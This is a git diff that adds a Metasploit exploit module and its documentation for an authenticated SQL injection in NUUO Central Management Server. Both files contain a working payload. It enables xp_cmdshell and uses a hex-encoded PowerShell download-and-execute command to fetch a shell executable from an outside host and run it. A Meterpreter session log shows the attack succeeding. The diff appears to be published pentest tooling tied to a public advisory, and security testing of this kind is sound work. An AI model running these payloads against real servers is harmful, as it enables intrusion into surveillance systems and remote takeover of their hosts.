diff --git a/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md new file mode 100644 index 0000000000..95860248e6 --- /dev/null +++ b/documentation/modules/exploit/windows/nuuo/nuuo_cms_sqli.md @@ -0,0 +1,93 @@ +## Description + +Nuuo CMS Authenticated SQL injection + +The GETOPENALARM verb is used to obtain information about alarms stored in the CMS Server database. An example request is below: + +``` +GETOPENALARM NUCM/1.0 +DeviceID: +SourceServer: +LastOne: +``` + +The vulnerability is in the "SourceServer" parameter, which allows injection of arbitrary SQL characters, and can be abused to inject SQL into the executing statement. For example the following request: + +``` +GETOPENALARM NUCM/1.0 +DeviceID: 1 +SourceServer: ';drop table bobby;-- +LastOne: 3 +``` + +Will cause the following SQL query to be executed on the server: +SELECT AlarmNo, EventType, DeviceID, Channel, EventDesc, DateTime, PreviewImage, SourceServer, AlarmID, State, Priority, Owner, HistoryNo, PosTransaction, AlarmNote, AlarmType FROM AlarmLog WHERE DeviceID=1 AND SourceServer='';drop table bobby;-- ' AND State<20 order by DateTime DESC + +Given that SQL Server 2005 Express is used by default (see vulnerability #2), this can be abused to enable xp_cmdshell and achieve remote code execution. + +As as example, here is a full working exploit that downloads a reverse shell from http://10.0.99.102/shell.exe and executes it: + +``` +';exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; declare @q varchar(8000); select @q=0x78705f636d647368656c6c2027636420433a5c77696e646f77735c74656d705c202626206563686f202473746f726167654469723d24707764203e20776765742e707331202626206563686f2024776562636c69656e74203d204e65772d4f626a6563742053797374656d2e4e65742e576562436c69656e74203e3e20776765742e707331202626206563686f202475726c203d2022687474703a2f2f31302e302e39392e3130322f7368656c6c2e65786522203e3e20776765742e707331202626206563686f202466696c65203d20227368656c6c2e65786522203e3e20776765742e707331202626206563686f2024776562636c69656e742e446f776e6c6f616446696c65282475726c2c2466696c6529203e3e20776765742e70733120262620706f7765727368656c6c2e657865202d457865637574696f6e506f6c69637920427970617373202d4e6f4c6f676f202d4e6f6e496e746572616374697665202d4e6f50726f66696c65202d46696c6520776765742e70733120262620636d64202f6320433a5c77696e646f77735c74656d705c7368656c6c2e65786527; exec (@q);-- +``` + +The encoded part of the exploit is the following: + +``` +xp_cmdshell 'cd C:\windows\temp\ && echo $storageDir=$pwd > wget.ps1 && echo $webclient = New-Object System.Net.WebClient >> wget.ps1 && echo $url = "http://10.0.99.102/shell.exe" >> wget.ps1 && echo $file = "shell.exe" >> wget.ps1 && echo $webclient.DownloadFile($url,$file) >> wget.ps1 && powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1 && cmd /c C:\windows\temp\shell.exe' +``` + +## Vulnerable Application + +[NUUO Central Management Server (CMS): all versions below 3.1](http://d1.nuuo.com/NUUO/CMS/) + +The following versions were tested: + + - 1.5.2 OK + - 2.1.0 OK + - 2.3.2 OK + - 2.4.0 OK + - 2.6.0 OK + - 2.9.0 OK + - 2.10.0 OK + +## Scenarios + +### Tested on Windows 10 Pro x64 running NCS Server 2.4.0 + +``` +msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set rhosts 172.22.222.200 +rhosts => 172.22.222.200 +msf5 exploit(windows/nuuo/nuuo_cms_sqli) > set srvhost 172.22.222.136 +srvhost => 172.22.222.136 +msf5 exploit(windows/nuuo/nuuo_cms_sqli) > exploit + +[*] Started reverse TCP handler on 172.22.222.136:4444 +[*] 172.22.222.200:5180 - Starting up our web service on http://172.22.222.136:8080/YxAxhLwOUeKzH ... +[*] 172.22.222.200:5180 - Using URL: http://172.22.222.136:8080/YxAxhLwOUeKzH +[*] 172.22.222.200:5180 - Enabling xp_cmdshell and asking CMS to download and execute http://172.22.222.136:8080/YxAxhLwOUeKzH +[*] 172.22.222.200:5180 - Injecting PowerShell payload +[+] 172.22.222.200:5180 - Sending the payload to CMS... +[*] 172.22.222.200:5180 - Executing shell... +[*] Sending stage (179779 bytes) to 172.22.222.200 +[*] Meterpreter session 1 opened (172.22.222.136:4444 -> 172.22.222.200:49681) at 2019-02-19 06:15:35 -0600 +[*] 172.22.222.200:5180 - Server stopped. + +meterpreter > getuid +Server username: NT Service\MSSQLSERVER +meterpreter > sysinfo +Computer : DESKTOP-IPOGIJR +OS : Windows 10 (Build 17763). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x86/windows +meterpreter > +``` + +## References + +https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02 + +https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt diff --git a/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb new file mode 100644 index 0000000000..92bc3862bd --- /dev/null +++ b/modules/exploits/windows/nuuo/nuuo_cms_sqli.rb @@ -0,0 +1,135 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::EXE + include Msf::Exploit::FileDropper + include Msf::Exploit::Remote::Nuuo + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi', + 'Description' => %q{ + The Nuuo Central Management Server allows an authenticated user to query the state of the alarms. + This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is + installed by default, xp_cmdshell can be enabled and abused to achieve code execution. + This module will either use a provided session number (which can be guessed with an auxiliary + module) or attempt to login using a provided username and password - it will also try the + default credentials if nothing is provided. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'References' => + [ + [ 'CVE', '2018-18982' ], + [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ], + [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ] + + ], + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground + 'Targets' => + [ + [ 'Nuuo Central Management Server <= v2.10.0', {} ], + ], + 'Notes' => + { + 'SideEffects' => [ ARTIFACTS_ON_DISK ] + }, + 'Privileged' => false, # we run as NETWORK_SERVICE + 'DisclosureDate' => 'Oct 11 2018', + 'DefaultTarget' => 0)) + register_options [ + Opt::RPORT(5180), + OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]), + OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"]) + ] + end + + + def inject_sql(sql, final = false) + sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"] + if final + nucs_send_msg_async(sql) + else + nucs_send_msg(sql) + end + end + + # Handle incoming requests from the server + def on_request_uri(cli, request) + unless @pl + print_error("A request came in, but the payload wasn't ready yet!") + return + end + print_good('Sending the payload to CMS...') + send_response(cli, @pl) + + Rex.sleep(3) + + print_status('Executing shell...') + inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true) + register_file_for_cleanup("c:/windows/temp/#{@filename}") + end + + def create_hex_cmd(cmd) + var = rand_text_alpha(2) + hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x" + cmd.each_byte { |b| + hex_cmd << b.to_i.to_s(16) + } + hex_cmd << "; exec (@#{var})" + end + + def primer + # we need to roll our own here instead of using the MSSQL mixins + # (tried that and it doesn't work) + service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}" + print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}") + @filename = "#{rand_text_alpha_lower(8..10)}.exe" + ps1 = "#{rand_text_alpha_lower(8..10)}.ps1" + download_pl = %{xp_cmdshell } + download_pl << %{'cd C:\\windows\\temp\\ && } + download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && } + download_pl << %{echo $url = "#{service_url}" >> #{ps1} && } + download_pl << %{echo $file = "#{@filename}" >> #{ps1} && } + download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && } + download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'} + + print_status('Injecting PowerShell payload') + inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl)) + register_file_for_cleanup("c:/windows/temp/#{ps1}") + end + + def exploit + nucs_login + + unless @nucs_session + fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS') + end + + @pl = generate_payload_exe + + #do not use SSL + if datastore['SSL'] + ssl_restore = true + datastore['SSL'] = false + end + + begin + Timeout.timeout(datastore['HTTPDELAY']) {super} + rescue Timeout::Error + datastore['SSL'] = true if ssl_restore + end + end +end